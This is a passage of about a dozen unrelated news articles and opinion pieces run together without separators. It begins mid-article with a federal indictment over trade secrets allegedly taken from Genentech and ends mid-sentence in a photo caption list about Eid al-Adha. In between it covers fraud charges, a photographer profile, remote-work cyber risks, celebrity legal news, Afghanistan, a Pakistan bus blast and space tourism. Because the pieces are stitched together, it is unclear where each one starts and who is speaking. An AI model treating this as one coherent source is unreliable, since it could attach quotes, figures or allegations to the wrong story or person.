The indictment alleges that, starting in 2009, Lin recruited an experienced and accomplished scientist then working at Genentech and her husband to work as a team to purloin confidential information from within Genentech. Beginning in 2013, Lin and Jordanov allegedly used confidential information from the husband and wife team and other sources to help JHL Biotech cut corners, reduce costs, solve problems, save time, and otherwise accelerate product development timelines, secretly using Genentechs high-quality, confidential, intellectual property.

In 2014, as alleged in the indictment, Jordanov and Lin supervised and managed a so-called conversion project whereby JHL employees converted confidential Genentech standard operating procedures or SOPs into JHL Biotech SOPs. For example, JHL employees engaged in the wholesale cutting and pasting of logos from the confidential documents by simply cutting out Genentech logos and pasting in JHL Biotech logos to make the Genentech SOPs appear, falsely, to be JHL Biotech SOPs. JHL Biotech employees allegedly drafted approximately ninety (90) different SOPs using Genentech documents, many of which were confidential and proprietary. JHL Biotech employees maintained a spreadsheet in which they identified Genentech SOPs that JHL Biotech possessed and tracked the progress to convert these into JHL Biotech SOPs. The widespread use of the stolen Genentech SOPs allegedly saved JHL Biotech thousands of dollars.

To profit from the trove of stolen confidential, proprietary, and trade secret information, Jordanov and Lin, according to the indictment, then carried out a scheme to defraud JHL Biotechs potential investors and strategic partners. To induce investment, and obtain money for JHL Biotech and themselves, Jordanov and Lin allegedly defrauded investors by concealing the extent to which JHL Biotech used stolen intellectual property to start, accelerate, and conduct its business. The indictment alleges that, in late 2016, JHL Biotech entered a strategic partnership with Sanofi S.A., a French multinational pharmaceutical company headquartered in Paris, France, to manufacture and distribute biosimilars in China. As part of the agreement, in December 2016, Sanofi allegedly paid $101 million to JHL Biotech, using foreign and interstate wires to carry out the corporate transaction. This cash payment allegedly was part of a strategic relationship worth potentially $337 million to JHL Biotech. To induce Sanofis payment of $101 million in cash, Jordanov allegedly signed representations and warranties that falsely stated that JHL Biotechs knowledge, research, development, use, and manufacture, of certain biosimilars had been conducted without infringing or misappropriating intellectual property from any third party. Jordanov also allegedly made false and misleading statements about consultants used by JHL Biotech and otherwise concealed from Sanofi the secret work of the Genentech insider for JHL Biotech. In 2019, following the public disclosure of some of the alleged criminal conduct, the value of JHL Biotech, once as high as approximately $916 million, allegedly crashed.

According to the indictment, JHL Biotech was a nearly $1 billion Taiwanese unicorn built on a foundation of lies, Acting United States Attorney Hinds stated. The indictment alleges defendants used confidential documents and trade secrets stolen from Genentech to build a competitor and enrich themselves. This kind of complex intellectual property theft and fraud not only harms victims, it threatens the intellectual property of an industry with strategic importance to the United States. This United States Attorneys Office will always aggressively prosecute corporate espionage to protect innovation, a crown jewel of our District.

The indictment of these two executives alleges the misuse of their positions of trust, within their corporations, to commit financial fraud, said IRS Criminal Investigation, Acting Special Agent in Charge Michael Daniels. No matter your career or position we will investigative financial crime wherever it is conducted. We will continue to work with our law enforcement partners to bring this investigation to a thorough and complete conclusion.

As alleged in the indictment, the defendants in this case increased their wealth by cutting corners and stealing valuable information from a competitor. said FBI San Francisco Special Agent in Charge Craig D. Fair. Rather than excelling at their own scientific research, the defendants instead attempted to excel at theft and fraud.

The indictment charges Jordanov and Lin with violations of conspiracy to commit trade secret theft and wire fraud, international money laundering, conspiracy to obstruct justice, theft of trade secrets (Jordanov only), and false statements (Lin only). An indictment merely alleges that crimes have been committed, and all defendants are presumed innocent until proven guilty beyond a reasonable doubt. If convicted, the defendants face the following maximum statutory sentences:

Raco Ivanov Jordanov Charge Maximum Penalties (per count) Conspiracy to Commit Theft of Trade Secrets and Wire Fraud, 18 U.S.C.  371 Five years of imprisonment; $250,000 fine; three years of supervised release Theft of Trade Secrets, Aid and Abet, 18 U.S.C.  1832(a)(1)(2)(3) and 2 (two counts) Ten years of imprisonment, $250,000 fine, three years of supervised release Wire Fraud, Aid and Abet, 18 U.S.C.  1343 and 2 (three counts) Twenty years of imprisonment; $250,000 fine; three years of supervised release International Money Laundering, 18 U.S.C.  1956(a)(2)(A) (nine counts) Twenty years of imprisonment; $500,000 fine; three years of supervised release Conspiracy to Obstruct Justice, 18 U.S.C.  371 Five years of imprisonment; $250,000 fine; three years of supervised release Rose Lin Conspiracy to Commit Theft of Trade Secrets and Wire Fraud, 18 U.S.C.  371 Five years of imprisonment; $250,000 fine; three years of supervised release Wire Fraud, Aid and Abet, 18 U.S.C.  1343 and 2 (three counts) Twenty years of imprisonment; $250,000 fine; three years of supervised release International Money Laundering, 18 U.S.C.  1956(a)(2)(A) (five counts) Twenty years of imprisonment; $500,000 fine; three years of supervised release Conspiracy to Obstruct Justice, 18 U.S.C.  371 Five years of imprisonment; $250,000 fine; three years of supervised release False Statements to a Government Agency, 18 U.S.C.  1001(a)(2) Five years of imprisonment; $250,000 fine; three years of supervised release

The court also may order additional assessments, forfeiture, and restitution; however, any sentence following conviction would be imposed by the court after consideration of the U.S. Sentencing Guidelines and the federal statute governing the imposition of a sentence, 18 U.S.C.  3553.

This morning, Jordanov and Lin made their initial appearances in federal court in San Francisco, where they were arraigned on the indictment and entered pleas of not guilty to all charges. The defendants each were placed on pretrial release with secured bonds in the amount of $1,000 and an agreement to surrender their passports. Jordanov and Lin are next scheduled to appear at 2:00 p.m. on August 24, 2021 for an initial appearance before the Honorable William Alsup, U.S. Senior District Judge.

Assistant U.S. Attorneys Sheila A.G. Armbrust, Adam A. Reeves, and Claudia A. Quiroz are prosecuting the case with the assistance of Beth Margen and Morgan Byrne. The prosecution is the result of an investigation by the Internal Revenue Service  Criminal Investigations and the Federal Bureau of Investigation.
Imperial Valley News Center

California Man Charged with Scheming to Defraud Buyers of Medical-Grade Gloves During COVID-19 Pandemic-Related Shortage

Los Angeles, California - An Orange County man was expected to be arraigned in federal court Friday on an indictment charging him with defrauding victims who paid for COVID-related medical protective equipment that was never delivered, causing nearly $3 million in losses.

Christopher John Badsey, 60, of Lake Forest, was arrested by FBI agents on July 8 without incident. He is charged with four counts of wire fraud and two counts of money laundering. He was expected to be arraigned that afternoon in United States District Court in downtown Los Angeles.

According to an indictment returned by a federal grand jury on July 7, Badsey falsely represented that he had access to millions of boxes of medical-grade nitrile gloves through his Irvine-based company, First Defense International Security Services Corp. (FDI) This type of personal protective equipment was in high demand and short supply during the COVID-19 pandemic.

Badsey allegedly entered into contractual agreements with victims, whom he required to provide a money deposit to inspect the gloves before delivery.

After receiving the deposits, Badsey allegedly instructed victims to travel to the Los Angeles area, where he claimed the gloves were stored in a warehouse. But when victims attempted to visit the warehouse, Badsey and other FDI employees allegedly provided excuses as to why the gloves could neither be inspected, nor delivered, to the victims.

Nitrile gloves were never provided to the victims, and Badsey is alleged to have absconded with the deposit money totaling nearly $3 million. After obtaining the victims wire deposits, Badsey and others are believed to have used those funds to make lavish purchases for their personal benefit.

An indictment contains allegations that a defendant has committed a crime. Every defendant is presumed innocent until and unless proven guilty beyond a reasonable doubt.

If convicted of all charges in the six-count indictment, Badsey would face a statutory maximum sentence of 100 years in federal prison.

The FBI investigated this matter.

Assistant United States Attorney Melissa S. Rabbani of the Santa Ana Branch Office is prosecuting this case.
There's nothing more human than thinking you have a life plan and then watching it evolve into something entirely different from what you thought it would be. For renowned celebrity photographer Jeff Lipsky, a chance encounter with actress Daryl Hannah in the late 1990s turned his world upside down. It pushed him from teaching snowboarding and fly-fishing in Colorado down the path to becoming one of the most sought-after celebrity portrait photographers working today.

Lipsky was born in Baltimore and attended Boston University. From a young age he had an interest in photography and visual storytelling, but he wasn't sure if professional photography was in the cards for him as a career. Lipsky says that he got a camera for his Bar Mitzvah and never stopped wanting to take pictures.

After graduating college, Lipsky spent a decade living in Telluride, Colorado and worked as a snowboarding and fly-fishing instructor. He was fortunate enough to have a large client roster and one of his clients was Daryl Hannah. Lipsky and Hannah developed a rapport and in 1998, she invited him to come out to Los Angeles and take portraits of her for The Sunday Times. Lipsky jumped at the chance and that job got the ball rolling for him.

Lipsky used his shoot with Hannah to develop his portfolio and then he began working with different modeling agencies in Hollywood to hone his skills. After Hannah gave him his start, he began working as a first assistant photographer to a well-known photographer in Los Angeles. One day after a shoot, Lipsky was asked by his then boss to drive the photo editor back to her hotel in Glendale, which was at least an hour drive from the shoot location in Malibu, and then another hour from Lipsky's home in Venice. Lipsky says that driving around Los Angeles for more than two hours wasn't how he wanted to spend his time after work, but he also knew it was part of the job to make life easier for his boss.

On the drive back to the hotel, Lipsky and the photo editor figured out they had a friend in common, and she offered to look at his portfolio if he came to New York. Lipsky agreed and went to New York the following week. He presented his portfolio to the editor, who recommended him to a contact over at Esquire. And from there everything snowballed in exactly the right way. Esquire hooked Lipsky up with a job at Premiere Magazine and then that led to a job with Outside Magazine.

"Right place, right time," he says. "Suddenly I started shooting for all those publications and still to this day, I still work with a lot of [them] because of taking one person home and having a connection with them."

Clearly there is something about Lipsky's work that people love, which is why he's become such a heavy hitter in his field. When I ask him about it, we talk about the intersection of talent and ability--what some people refer to as having an eye for something. You'll hear people talk about someone having an eye for photography. But for Lipsky, it really comes down to personal taste.

"For me having an eye for photography is a personal thing," he says. "It's subjective. It's your personal aesthetic, just like art. I like a particular photograph because it appeals to my style. It appeals to me. And as a photographer, basically you're taking pictures of things that you like, or the content that you like, so it's a natural thing. I'm not thinking about composition. I'm not thinking about light, which [are] two very important things when taking a picture ... It's like, a natural feeling almost. I like [the photos]. I like what I'm doing. I just hope that other people like my aesthetic so they hire me to take pictures."

Today, in addition to the publications he started out with, Lipsky shoots for Vanity Fair, Men's Health, Women's Health, and Men's Journal. His work can also be found on movie posters, billboards, and in print advertisements. If you can think of a major celebrity, there's a high probability that Lipsky has photographed them. His portfolio includes Brad Pitt, Emma Stone, Jimmy Kimmel, Jason Momoa, Catherine O'Hara, Taylor Swift, Mark Hamill, John Legend, Kristen Bell and Dax Shepard, Kumail Nanjiani, Zac Efron, Chris Pratt, and Dwayne "The Rock" Johnson, just to name a few.

While Lipsky started out shooting landscapes, he likes portrait photography because it gives him a chance to connect with his subjects, even if celebrity photography comes with a certain level of protocols that might disrupt the creative process.

"I'm a portrait photographer, but I did start out taking landscapes of course, living in Telluride," he says. "That was my first [experience] of taking pictures of the beautiful land and the mountains, and shooting black and white, so that's what started me off. The hardest part of my job [now] is keeping it simple. You get a job and there are so many people telling you what they need. The celebrity needs something, the publication you're shooting for needs something specific, and then you as an artist--you want to get something specific for yourself. And there's so many factors involved like, where can they go? Where you're going to shoot them. What time of day? The entourage, the people, the equipment ... And the reality is you just want to connect with your subject and take a beautiful picture, and you have to block everything else away."

While photographing celebrities might seem glamorous, it doesn't come without its own set of challenges. Most celebrities are themselves, their brand, so it's understandable that some of their own personal desires when shooting would need to be considered as they become reflective of how marketable the photos are.

Lipsky tells me that a lot of the battle is making sure the celebrity is comfortable while the publication is happy. Many times the publication wants the subject to be shot in a certain outfit, or at a certain location that might be uncomfortable, cold, or wet for the subject. There's a challenge for him to be the intermediary between his subject and the publication that hired him. He's aiming to keep everyone happy, while not compromising his own artistic integrity.

"[Celebrities] want to be appealing," he says. "They want to have a sell-ability to themselves. I like to make people look beautiful, organic ... Who doesn't want to look sexy, right? So tastefully sexy ... You want men to look cool, so there's a certain little dance that you have to do. Again, a magazine might say, 'They need to be in a swimming pool for this shot.' And you're like, 'Really? They don't want to go in the swimming pool.' So how do I get that person into the swimming pool? [So the solution becomes,] let's see what we can do and make it all work for everybody and still take a great image."

When it comes to mastering photography, or any craft for that matter, Lipsky is a fan of learning in the field. He recommends a hands-on approach where you can watch someone, who is a master of the craft you want to learn, work.

"To me you have to learn in the field. That's the most important thing," he says. "You can go to school for photography. But I would say--the way that I came up, and the way that I see most photographers [come up is]--you have to assist. You have to learn hands-on: Being on the set, learning, watching other people make mistakes, or watching other people succeed so you can just be that fly on the wall ... Seeing how everyone lights and seeing how they talk to clients, seeing how they talk to the celebrity, and all the ongoings, and in and outs. It takes years. I assisted for years, learning before I started shooting on my own."

One of the biggest lessons I learned from Lipsky has to do with not judging a book by its cover. There might be some people who would look at Lipsky's choices out of college, including his own parents, and question his work ethic and whether he was just wasting his time playing around in the mountains. Snowboard instructor is a fun and honorable job, but it is seasonal and comes with its share of limitations.

But Lipsky pursued his interests of perfect powder and fishing in spite of how it looked to everyone else, and that was what led to his big break. The lesson here seems to be that there are many paths up the mountain to the top. Lipsky was in the right place at the right time, but he also recognized when opportunity was knocking and opened that door. He took action, took a chance, and he was on his way.

The other lesson here for me is that nothing we do goes to waste if we don't discard or diminish it. Remember how irrelevant all that Colorado fly-fishing seemed to be? Well it turns out that filming celebrities on location doing interesting things, like fly-fishing with Jimmy Kimmel, paid off. This rings true for me when I remember being a cashier at Polo Ralph Lauren during college. I learned a lot about sales, customer service, and managing the emotions of upset customers. I can say the same about being a waiter in a busy restaurant and the other less impressive jobs (on paper) I've had over the years. Nothing goes to waste if you don't let it.

What skills are you honing now that you might access later in your career in a high-profile position or running your own company? I wish I had kept a detailed journal of my thoughts and feelings, that would have come in handy many times over the years, I'm sure. Maybe the idea will spark some inspiration and help you in the future? In any case, while I don't believe the notion that "everything happens for a reason," I do subscribe to the idea that everything can happen for us if we let it.
Your IT team may have no problem managing your network when everyone is centralized in an office, but an entire workforce commuting virtually introduces a number of complications -- cyberattacks chief among them.

Work-from-home setups are generally less secure than those in the office, creating easy prey for hackers. According to a survey conducted by email security firm Tessian, nearly one half of all businesses experienced some kind of digital disruption between March and July 2020 during the height of remote work. Disruptions that frequent are bound to lead to leaks in revenue if you're not careful.

1. Worker Productivity Losses

A cyberattack at an employee's home may not necessarily hit your business directly (i.e. leading to a security breach of your company's data), but the impacts can still be felt. Cyber criminals may, for example, steal the identity of one of your workers.

According to data from the Identity Theft Resource Center, one third of workers who have their identity stolen experience workplace problems in the aftermath -- trouble focusing, subsequent financial issues, and time spent re-securing their identity all impact how well an employee performs on the job. That means an indirect attack on your business can lead to direct security and productivity losses.

If your workers' home networks are vulnerable or under attack, they're not going to be able to do their best work. Your revenue stream has the potential to become smaller each time a security breach stifles productivity through lost clients, missed deadlines, and squandered leads -- not to mention the fact that every cyberattack on an employee of yours working from home represents a possible cyberattack on your business writ large.

2. IoT Infiltrations

The growing popularity of the Internet of Things amplifies these risks even further. Everything from doorbells to lights to garage-door openers can now be consolidated onto a central network. Since these devices have no built-in security of their own, this gives potential hackers ample opportunities for infiltration. WiFi-solutions and AI security provider Plume reports that there has been a 73% increase in home-network activity during workday hours compared to before the pandemic -- more activity means a greater chance of a network breach. A network breach could do anything from halt work processes to intercept confidential company data, two phenomena that do not bode well for a business's balance sheet.

This doesn't mean that there aren't protections available. AI-powered security systems that were once reserved for enterprise solutions are now becoming available for homes. OpenSync, for example, is an open-source services delivery platform that connects in-home hardware to the cloud, which enables Service Providers to offer cutting-edge cybersecurity directly to residential subscribers. With the recent explosion in work-from-home policies, though, more and more competitors will be entering the secure WiFi space in the coming months.

3. Ransomware Attacks

Recent ransomware attacks on Colonial Pipeline and Invenergy have shone a spotlight on how big businesses can take huge hits if they're unprepared, but it's not just the blue chips that hackers have in their sights. In 2019, insurance provider Hiscox found that the average losses resulting from a cyberattack clocked in at $369,000, up 61% from the year prior with medium-sized businesses targeted alongside big ones.

Losses in that range could spell doom for mid-sized companies running on tight budgets, but advanced cybersecurity solutions may not look too friendly to your balance sheet either -- especially if it's a number of different homes that need protecting. Ransomware infiltrations will always be easier to pull off on home networks than they will be on well-protected office networks. Unfortunately, there's no simple fix here.

Your business can't afford to go completely undefended, so some cybersecurity software is necessary for your teams whether they're remote or not. Select one or more cybersecurity systems for your employees to install in their homes and fully reimburse them for doing so. Consider asking your IT team to have "office hours" where employees can talk to them one-on-one for help installing and updating their systems. The easier you make it and the more incentives you offer, the more likely it is that your entire workforce will opt for strong protection.

Even the best cybersecurity software, though, can't neutralize every possible threat. It's on company leadership to emphasize and reemphasize best practices to your team: don't freely reveal company information, don't open emails from suspicious accounts, and keep networks as secure as possible. The less you expose yourself to risks, the less likely it is that you'll need expensive software to protect you from them.
Harvey Weinsteins divorce from Georgina Chapman has been finalised.

The disgraced former film producer is currently serving a 23-year prison sentence after being convicted of rape last year, three years after more than 80 women came forward with allegations of sexual misconduct against him.

Actor and fashion designer Chapman filed for divorce in October 2017 after the allegations against her husband came to light. The pair had been married for 10 years.

A settlement was reached in January 2018 regarding the splitting of property and custody of their two children.

However, court records obtained by TMZ show that the divorce was only officially signed off by a judge last week.

It comes as a judge ruled earlier this month that Weinstein can be extradited to California to face fresh charges after months of delays. He is currently being held at Wende Correctional Facility near Buffalo, New York.

However, Weinsteins lawyers have also stated that the recent clearing of Bill Cosbys sexual assault conviction has reaffirmed our confidence that it will lead to the producers conviction being overturned.

If you have been raped or sexually assaulted, you can contact your nearest Rape Crisis organisation for specialist, independent and confidential support. For more information, visit their website here.
A federal court has thrown out the defamation lawsuit filed by Roy Moore, Alabamas former chief justice, against comedian Sacha Baron Cohen today (13 July).

Moore had been interviewed by Baron Cohen for his show Who Is America? under the pretence that he would receive an award for his support of Israel. Baron Cohen was in character as an Israeli anti-terrorism expert who claimed he had technology that would show whether Moore was a paedophile.

In 2017, sexual misconduct allegations against Moore cropped during his U.S. Senate run, including accusations that he had pursued teenagers. Moore brought the suit against Baron Cohen, Showtime and CBS in 2018, seeking $95 million in damages.

In an opinion, U.S. District Court Judge John P. Cronan wrote that: Defendants have moved for summary judgment, arguing that Plaintiffs claims are barred by both a waiver clause in the agreement that Judge Moore signed prior to the interview and also by the First Amendment of the U.S. Constitution.

He went on: The Court agrees that Judge Moores claims are barred by the unambiguous contractual language, which precludes the very causes of action he now brings. Although Kayla Moore was not a signatory to that contract, her claims are barred by the First Amendment. Accordingly, Defendants motion is granted in its entirety.

Kayla Moore is Roy Moores wife. The Moores have already filed paperwork stating that they will appeal.

Baron Cohen swiftly responded to the news on Twitter, sharing a clip of Moores appearance in the comedy show.
In This Way Ups first series, we met Irish expat Aine (Aisling Bea) as she was checking out of a mental health facility, eyes glazed over as she complained to the receptionist about the lack of a jacuzzi. Nearly two years later, series two begins with Aine reinvigorated, sweating it out in a lunchtime sauna with her sister Shona (Sharon Horgan). Progress towards Aines wants and needs is being made, it seems.

The Channel 4 comedy returns to our screens with a marked tonal shift. If the first series showed Aine desperately trying to hold things together in the aftermath of a nervous breakdown, series two is about moving forward and learning to live with her depression. The difference between the series, Bea told The Independent, is like the difference between war and peace.

And for the most part, things do seem to be getting better. Aines frosty relationship with her mother is improving; her students still love her (wouldnt you if your teacher used Love Island to teach English?); and theres even a blossoming, if somewhat ill-advised, romance. Where before, these might have felt like a distraction from Aines precarious state, now theyre parts of her life she desperately wants to maintain.

Newly flourishing at the centre of the series is Aines relationship with Richard (Tobias Menzies), which has ramped up beyond vague flirting and chaste hand-holding now that his son Etienne is back in France. But neither party is being entirely honest about their mental wellbeing. Richards sons mother had recently died in the first series, while Aine hasnt even told him about the breakdown. You lift me up, Richard tells her. Youre always so up. For a split second, that glazed-over look returns as Aine blurts out a joke to deflect. Oh Richard, how little you know.

At the same time, Shona is making big steps, moving in with husband-to-be Vish (Aasif Mandvi) on the outskirts of London (a short overground journey, lamented by Aine with the words: 20 minutes? God, thatll take me ages). Shes settling into the world of heated floors and home renovations, but the lingering spectre of that kiss with co-worker Charlotte (Indira Varma) keeps rearing its head. Shona may seem to be the one with her life together  the job, the house, the wedding  but these things arent always able to cover up the cracks.

Aine (Bea) and Richard (Tobias Menzies) (Channel 4)

The sisters relationship remains the warm heart of This Way Up. Theres a generosity in Beas writing  she never judges her characters  and that care is only amplified by the electric chemistry between Bea and Horgan, whose sisterly bond remains startlingly realistic. When Shona laughs at Aines jokes, theres a genuine joy in Horgans eyes.

It doesnt hurt that Beas script is really, really funny. We watch them both attempt to sex up their lives, Aine attempting to give Richard a lap dance and Shona navigating the horrifyingly awkward world of Zoom sex with Vish. But the sisters are funniest when together, laughing at each other. In a wedding-dress shop, Aine promises her sister not to get carried away while dancing around in a bridal gown and tiara, while we also watch the pair try and hold a serious conversation, faces slowly reddening, in the sauna.

Series two somehow manages to be funnier, kinder and more heartbreaking than its predecessor, and is a perfect testament to Beas talent.
In a shocking incident purportedly captured on camera, Taliban fighters executed 22 surrendering members of Afghan special forces who had run out of ammunition, according to reports.

The video obtained by CNN shows Afghan soldiers emerging from a building in a public square with their arms in the air as some men wielding guns screamed, surrender, commandos, surrender. Soon, gunfire shots rang out as cries of "Allahu Akhbar" are heard.

Nearly two dozen commandos were allegedly executed in a town market of Dawlat Abad in Faryab province on 16 June, reports said.

The Taliban has denied carrying out the execution to CNN, saying the videos are fake and they still have the captured soldiers from Faryab province. They called it propaganda of government so that people do not surrender.

However, the Red Cross and the Afghan Ministry of Defense have confirmed the 22 deaths. The defence ministry denied that the members were in detention and said they have been killed.

An eyewitness told the news outlet that the commandos had run out of ammunition and received no air support or reinforcement after fierce fighting of about two hours with the Taliban.

Warning: the video could be disturbing to some

The video emerges even as the Taliban continue to make significant territorial gains in Afghanistan with at least 212 districts in their control, according to an assessment by the Foundation for Defense of Democracies Long War. The Afghan government controls 70 districts while 116 remain contested.

Even as Joe Biden set 11 September as the deadline for the USs exit from the country, a vast majority of troops have already left.

The viral video sparked concerns from human rights groups and intensified criticism of Joe Bidens government. Questions are being raised by members of opposition in the US over the rapid pullout of troops from conflict-ridden Afghanistan after nearly 20 years of war.

"This deeply disturbing footage is horrific and gives insight into the increasingly desperate situation enveloping in Afghanistan. What we are witnessing is the cold-blooded murder of surrendering soldiers -- a war crime," Amnesty International UK said.

Republicans are aiming at Mr Biden for exit of troops from Afghanistan amid clashes between Taliban and Afghanistan security forces and fears of reemergence of al Qaeda and ISIS in the country.

Senate minority leader Mitch McConnell on Tuesday described Mr Bidens troops' withdrawal as a reckless rush for the exits and a global embarrassment.

"President Biden and his team are desperate to duck hard questions about Afghanistan, Mr McConnell said. But the American people deserve answers. They deserve to understand the risks of this trajectory and how the commander in chief plans to keep us safe against a terrorist enemy that his own senior advisers admit will be allowed to regroup thanks to his actions.

Republican representative from Illinois Adam Kinzinger, also a US Air Force veteran who took missions in Afghanistan, called the video horrible-yet.

"This is horrible-yet its the reality of the US withdrawal from Afghanistan. Removing the peacekeepers and leaving the Afghan people without support is a grave mistake, Mr President," he said in a tweet.

Army General Austin "Scott" Miller, who has relinquished his post as the top US commander in Afghanistan, previously said, "civil war is certainly a path that can be visualised if it continues on the trajectory its on."

Mr Biden also acknowledged last week that a continued presence of military in Afghanistan would not alter the future of the country but said the Afghan people must decide their own fate.

But the USs departure has forced Kabul to seek help from external partners such as Russia, and China to carry out anti-terrorism operations in the region.
Ten Chinese nationals are among at least 13 people killed when a bus plunged into a ravine after an explosion on Wednesday in northern Pakistan.

The vehicle was carrying more than 30 Chinese engineers to the site of the Dasu dam project in Upper Kohistan when the incident took place. At least 36 people were injured in the accident, Arif Javed, a deputy district commissioner, told the Associated Press.

It was initially suspected to be an attack, with the Chinese government calling on Pakistan to take action against the attackers and saying the bus was hit by blast on its way to the construction site.

But the Pakistani foreign ministry has now said that the bus fell into a ravine in the Khyber-Paktunkhwa province "after a mechanical failure, resulting in leakage of gas that caused a blast.

In a statement, the ministry said preliminary reports showed nine Chinese nationals and three Pakistanis died in the incident. Chinese workers and accompanying Pakistani staff were proceeding to their work place for an ongoing project, it said. The ministry said further investigations are under way.

Local authorities later told the Associated Press that a tenth Chinese worker, who was critically injured, died in hospital. The dead and the injured were taken to the regional health centre in Dasu.

The Water and Power Development Authority also described the incident as an accident, saying rescue efforts were underway, according to Dawn.

Condemning the blast, China called on Pakistan to throughly investigate the incident. Its foreign affairs ministry said that Pakistan must arrest those responsible and protect the safety of the Chinese people and its institutions there, according to China Daily.

We mourn over the Chinese and Pakistani personnel killed in the attack and express sympathies to bereaved families and the wounded, said Chinas foreign ministry spokesperson Zhao Lijian at a daily news briefing.

The Chinese embassy asked Chinese citizens and enterprises in Pakistan to stay on alert, take strict precautions, and stop going out unless necessary.

Earlier in June, at least 17 people were presumed to have died after a passenger van plunged into a river in the Upper Kohistan district. The incident happened when the driver lost control of his vehicle, officials said at the time.
Could anything greater symbolise the rampant fossil-fuelled consumerism trashing our planet than the sight of a bevvy of billionaires competing to launch the first commercial space tourism flights? There was nearly zero mention of the eye-watering carbon costs of this new tourism in the media frenzy that accompanied Richard Bransons space test-flight on Sunday.

The company attempted to shrug off climate criticism by admitting that each seat consumed the equivalent of a business seat flight from London to New York and that it was offsetting the emissions. What it did not say was that return business flights consume around six tonnes of CO2 per person or three times what an economy seat would emit. The average footprint per home in the UK, per year, is around 8.1 tonnes, according to the Committee on Climate Changes 2014 estimates.

More importantly, it failed to mention the even worse possible impacts of space tourism by the super-elites. Some of those who can afford the 180,000 one-hour joyrides will likely be owners of private jets. Thus, for a London billionaire flying from the spaceport in Arizona, where the flights take place, you could potentially add tonnes more CO2 for them flying there on their private jet from London.

In Bransons marketing statement he said: I want people to be able to look back at our beautiful Earth and come home and work very hard to try to do magic to it to look after it.

Unlike environmentally responsible bus passengers who must pay fuel duties, billionaires often find ways to pay the lowest rates of tax, and in some cases none at all. Whilst it is true that the number of people able to afford 180,000 for an hours joyride in the sky is limited, the real issue is how this extremist carbon consumption represents the tip of the huge unjust carbon emissions of the 1 per cent.

The UNs Emissions Gap report from 2020 found that the worlds wealthiest 1 per cent account for more emissions than the poorest 50 per cent. An Oxfam report found that between 1990 and 2015, the richest 10 per cent blew through a full third of our remaining carbon budget to prevent global temperatures from rising above a disastrous 1.5C.

Research published in the journal Global Environmental Change found that, globally, the top 1 per cent emit half of all aviation emissions, with the average super-emitter taking three long-haul and 12 short-haul flights per year.

Branson and the other billionaires in the space tourism race (Teslas Elon Musk and Amazons Jeff Bezos) have plans to reintroduce global supersonic travel based on their research with space tourism. This would massively expand the emissions from the nascent industry.

Branson failed to note that while he went on a space joyride in Arizona, almost all of the state was suffering from extreme multi-year drought. In neighbouring Utah, the land was ablaze with record-breaking temperatures and wildfires. Two firefighters were killed while flying over the inferno, trying to assess the blaze.

It is clear that we have to radically curb the lifestyles of the super-rich. But before we get too smug, it is important to remember that the UK is one of the richest counties on the planet, and we too can all make positive changes to our lifestyles and policy.

We need a ban on space tourism, private jets and unnecessary frequent flying or indeed any unnecessary flights until and unless a genuinely zero-carbon form of flight is developed. A frequent flyer tax  as proposed by the recent Climate Assembly  is a laudable first step; but many of the rich would simply be able to afford to pay it and continue their climate destruction.

The climate emergency merits actions even more urgent than those taken in the Second World War, where the rich had to pitch in like everyone else and share the rationing on transport fuel along with everybody else, in the interests of fairness and winning the war we need flight rationing; not elitist space tourism  and we need it now.
When I made eye contact with that man in the cotton field, I knew he was Taliban. Something always told me. I didnt finish my drink. I just went back into the tank and closed the door. A half second later, half of the tank exploded, and the British gunner above me was in flames. If we had been in the last half of the tank, we would all have been in pieces across those fields, says Mohammad Nabi, recalling an ambush he experienced while serving as an interpreter for the British army in Afghanistan.

He is one of an estimated 8,000 Afghan personnel that worked for the British army over the 20-year campaign in Afghanistan. As the last of the troops withdraw, and the Taliban regains territory and clout in the region, Nabi fears his time is running out.

Did you know they have taken fifty districts in 24 hours? Not fifteen. Fifty, he says. The looming threat of the Taliban has been ever present in his life. Growing up on the front line, he was subjected to torture at the hands of the Taliban, aged just 14. Now 36, a refugee living in Athens, he worries about the future of the four young children he had to leave behind.
The second significant religious festival of Islam, Eid al-Adha, will begin on the evening of Monday, 19 July this year.

The first of the two observances is Eid al-Fitr, which was observed in May to mark the end of the holy month of Ramadan.

Eid al-Adha is one of two Eids, or days of celebration for Muslims worldwide, in a year, a spokesperson for the Muslim Council of Britain tells The Independent.

They explain that the festival coincides with the completion of Hajj, which millions of people partake in every year.

However, in light of the coronavirus pandemic, Hajj commenced much fewer pilgrims than the usual 2.5 million people who usually attend. This year, just 60,000 of Saudia Arabas own citizens and residents have been allowed to take part.

Known as the festival of sacrifice, Eid al-Adha commemorates the prophet Ibrahims readiness to sacrifice his son in order to demonstrate his dedication to God.

Here is everything you need to know about Eid al-Adha:

What is its significance?

During the festival of Eid al-Adha, Muslims acknowledge the devotion of Ibrahim, who was willing to sacrifice his son, Ismail, under the order of Allah SWT (God).

Eid al-Adha celebrations around the world Show all 40 1 /40 Eid al-Adha celebrations around the world Eid al-Adha celebrations around the world Muslim pilgrims throw stones towards the symbolic devil represented by a Jamarat (Burning Coal) on the last day of the Muslims Hajj 2018 pilgrimage in the tent City of Mina near Mecca, Saudi Arabia EPA Eid al-Adha celebrations around the world People at a fairground set up celebrate Eid Al-Adha in Burgess Park, south London REUTERS Eid al-Adha celebrations around the world Ivorian Muslims pray during the first day of the Muslim festival of Eid-al- Adha in Abidjan EPA Eid al-Adha celebrations around the world People take a selfie during Eid-El-Kabir festival in Dakar AFP/Getty Eid al-Adha celebrations around the world Girls pose with a frame decorated with holiday wishes after Eid al-Adha prayers, held in a sports hall in Bucharest, Romania AP Eid al-Adha celebrations around the world A Palestinian man throws his child in the air following morning prayers marking the first day of Eid al-Adha celebrations Reuters Eid al-Adha celebrations around the world Jamil, eight months-old, lies on the floor during Eid al-Adha prayers, held in a sports hall in Bucharest, Romania AP Eid al-Adha celebrations around the world A Muslim pilgrim arrives to throw stones towards the symbolic devil represented by a Jamarat EPA Eid al-Adha celebrations around the world Muslim pilgrims head to take part in the symbolic stoning of the devil at the Jamarat Bridge in Mina, near Mecca AFP/Getty Images Eid al-Adha celebrations around the world Families enjoy rides on the dodgems during an Eid in the Park celebration at the New River Sports ground in Wood Green, London Getty Eid al-Adha celebrations around the world Ivorian Muslims pray during the first day of the Muslim festival of Eid-al- Adha in Abidjan EPA Eid al-Adha celebrations around the world Muslims attend a morning prayer at the industrial wasteland of Parco Dora in Turin AFP/Getty Eid al-Adha celebrations around the world A boy cast stones at the huge stone pillar in the symbolic stoning of the devil during the annual Haj pilgrimage on the first day of Eid al-Adha in Mina, outside the holy city of Mecca AP Eid al-Adha celebrations around the world Members of Naples' muslim community gather at Garibaldi Square EPA Eid al-Adha celebrations around the world A Syrian boy, 